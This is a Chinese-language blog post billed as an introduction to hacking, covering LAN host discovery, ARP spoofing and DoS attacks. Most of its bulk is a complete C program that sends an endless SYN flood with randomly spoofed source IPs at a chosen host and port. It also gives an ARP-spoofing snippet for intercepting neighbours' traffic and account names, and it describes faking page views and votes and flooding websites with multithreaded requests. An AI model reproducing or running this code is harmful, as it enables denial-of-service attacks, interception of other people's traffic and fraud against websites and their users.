1. 程式人生 > >查詢區域網電腦的IP,埠號,MAC地址(黑客技術入門)

查詢區域網電腦的IP,埠號,MAC地址(黑客技術入門)

網上看到很多都是使用nmap工具,這個工具我沒有使用過,我自己實現nmap工具的功能,首先我們查詢區域網內有哪些電腦是alive的,下面我寫了一個指令碼:

ping.sh   


這樣區域網內哪些電腦的ip是alive的就可以知道,下面來檢視對於IP的MAC地址,使用cat /proc/net/arp  命令:


然後在使用netstat  -an命令來分析埠號。

這樣我們就輕鬆獲取了局域網內所有電腦的資訊,這時候我們使用網路程式設計,破壞三次握手協議去攻擊電腦,或者獲取抓包資料等,也可以通過ARP欺騙等手段。

檢視結果分析:

Proto Recv-Q Send-Q Local Address           Foreign Address         State  
  Local Adress代表本地開放的埠,
  Foreign Adress代表的是外網的地址,
  State代表的是狀態。
  Foreign Adress代表連線外網的地址。比如說登入QQ的伺服器或者開啟網頁時都會顯示不同的IP地址。
  listening代表正在監聽的埠
  Established表示已啟用的IP和埠
  wait表示正在等待監聽

方法二、採取ARP攻擊,這個方法比較簡單,但是實用。

arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=)/* psrc填閘道器,pdst可以指定某一個IP或者廣播(255),hwsrc隨便構造,這樣我們把自己的電腦模擬成了閘道器或者路由器,1s發一次包,區域網內其他電腦上網提交的資料就全部提交到我們這兒,他們是不能上網的,或者讓他們上網,但是資料必須經過我們電腦,我們就可以抓包資料了,想一些賬號,QQ,微信這些事可以抓取到的,但是密碼就是亂碼,這個有他們自己的加密機制,賬號沒有加密。反正思路就是這樣 */
send(arp)  /* cat /proc/net/arp    廣播時候,執行該命令區域網內所有的電腦資訊都會呈現給我們,這就是ARP協議的BUG,TCP就是三次握手協議 */

方法三、Dos與DDOS攻擊

DoS:是Denial of Service的簡稱,即拒絕服務,不是DOS作業系統,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網路無法提供正常的服務。最常見的DoS攻擊有計算機網路頻寬攻擊和連通性攻擊。

  DDOS:分散式拒絕服務(DDoS:Distributed Denial of Service)攻擊指藉助於客戶/伺服器技術,將多個計算機聯合起來作為攻擊平臺,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。

偽造IP就是常見的DDOS手段,學習的知識是很多,需要各位朋友自己去挖掘

下面是我寫的一個程式碼,可以攻擊區域網內電腦:

main.c

#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>

void send_data(int sockfd,struct sockaddr_in *addr,char *port);
unsigned short check_sum(unsigned short *addr,int len);

// ./argv[0] des_hostname/ip   des_port  local_port  
int main(int argc,char *argv[]) 
{ 
 	int sockfd; 
 	struct sockaddr_in addr; 
 	struct hostent *host; 
 	int on=1; 
  	
 	if(argc!=4) 
 	{ 
        fprintf(stderr,"Usage:%s des_hostname/ip des_port  local_port\n",argv[0]); 
        exit(EXIT_FAILURE); 
 	} 
  
 	memset(&addr,0,sizeof(struct sockaddr_in));
 	addr.sin_family=AF_INET; 
   
 	if(inet_aton(argv[1],&addr.sin_addr)==0) 
 	{ 
 	 	host=gethostbyname(argv[1]); 
 	 	if(host==NULL) 
         	{ 
                 	fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
                 	exit(EXIT_FAILURE); 
         	} 
         	addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
  	} 
  	addr.sin_port=htons(atoi(argv[2])); 

 	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
 	if(sockfd<0) 
 	{ 
 	 	fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
 	 	exit(EXIT_FAILURE); 
 	} 
 	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 

 	send_data(sockfd,&addr,argv[3]); 
}  

void send_data(int sockfd,struct sockaddr_in *addr,char *port) 
{ 
 	char buffer[100];
 	struct iphdr *ip; 
 	struct tcphdr *tcp; 
 	int head_len; 

	head_len=sizeof(struct iphdr)+sizeof(struct tcphdr); 
	bzero(buffer,100); 
 	ip=(struct iphdr *)buffer; 
 	ip->version=IPVERSION;
 	ip->ihl=sizeof(struct ip)>>2;
 	ip->tos=0;
 	ip->tot_len=htons(head_len); 
	ip->id=0;
 	ip->frag_off=0;
 	ip->ttl=MAXTTL;
 	ip->protocol=IPPROTO_TCP;

	ip->check=0;
 	ip->daddr = addr->sin_addr.s_addr;
  
 	tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
 	tcp->source=htons(atoi(port));
	tcp->dest=addr->sin_port; 
 	tcp->seq=random(); 
 	tcp->ack_seq=0; 
 	tcp->doff=5; 
 	tcp->syn=1; 
	tcp->check=0; 


	while(1) 
  	{ 
    	ip->saddr=random();      
	tcp->check=0;	
 	tcp->check=check_sum((unsigned short *)tcp, 
             sizeof(struct tcphdr));  
    	sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in)); 
  	} 
} 

unsigned short check_sum(unsigned short *addr,int len) 
{ 
 	register int nleft=len; 
 	register int sum=0; 
 	register short *w=addr; 
  	short answer=0; 
	while(nleft>1) 
 	{ 
  		sum+=*w++; 
  		nleft-=2; 
 	} 
 	if(nleft==1) 
 	{ 
  		*(unsigned char *)(&answer)=*(unsigned char *)w; 
  		sum+=answer; 
 	} 

	sum=(sum>>16)+(sum&0xffff); 
 	sum+=(sum>>16); 
 	answer=~sum; 
 	return(answer); 
}

下面在提供一些黑客技術的入門:

各大部落格刷訪問量的實現:首先使用Fiddler4抓取header資訊,然後使用python構造header,ip等就可以輕鬆實現,本人各大部落格,QQ空間刷贊,網頁投票連結都測試過,非常實用。具體程式碼我就不上傳上來了。也可以在Linux下使用tcpdump來抓包分析,抓包是講究技巧的,這個手段是大量黑客長使用的方法。

攻擊網頁就更簡單了,在python中使用不斷請求,開啟,採取多執行緒程式設計可以造成網路擁堵,來達到攻擊的目的。如果是想黑掉整個伺服器,請才用dos抓取肉雞的方式,首選得獲取到管理員許可權(這個是難點)。

python入門比較簡單,簡單的網路 攻防是可以實現的,Linux C網路程式設計效率更高,但是同時也更加複雜一點,我是一個非常痴迷Linux作業系統的程式設計師,不喜歡用windos,我對圖形介面的東西不太感冒。

年輕就是資本,有的是時間和青春去揮霍,去學習技術。

不要把這些技術用到不正當的場合,開心一下就行。

我喜歡程式設計師,他們單純、固執、容易體會到成就感;面對壓力,能夠挑燈夜戰不眠不休;面對困難,能夠迎難而上挑戰自我。他們也會感到困惑與傍徨,但每個程式設計師的心中都有一個比爾蓋茨或是喬布斯的夢想“用智慧開創屬於自己的事業”。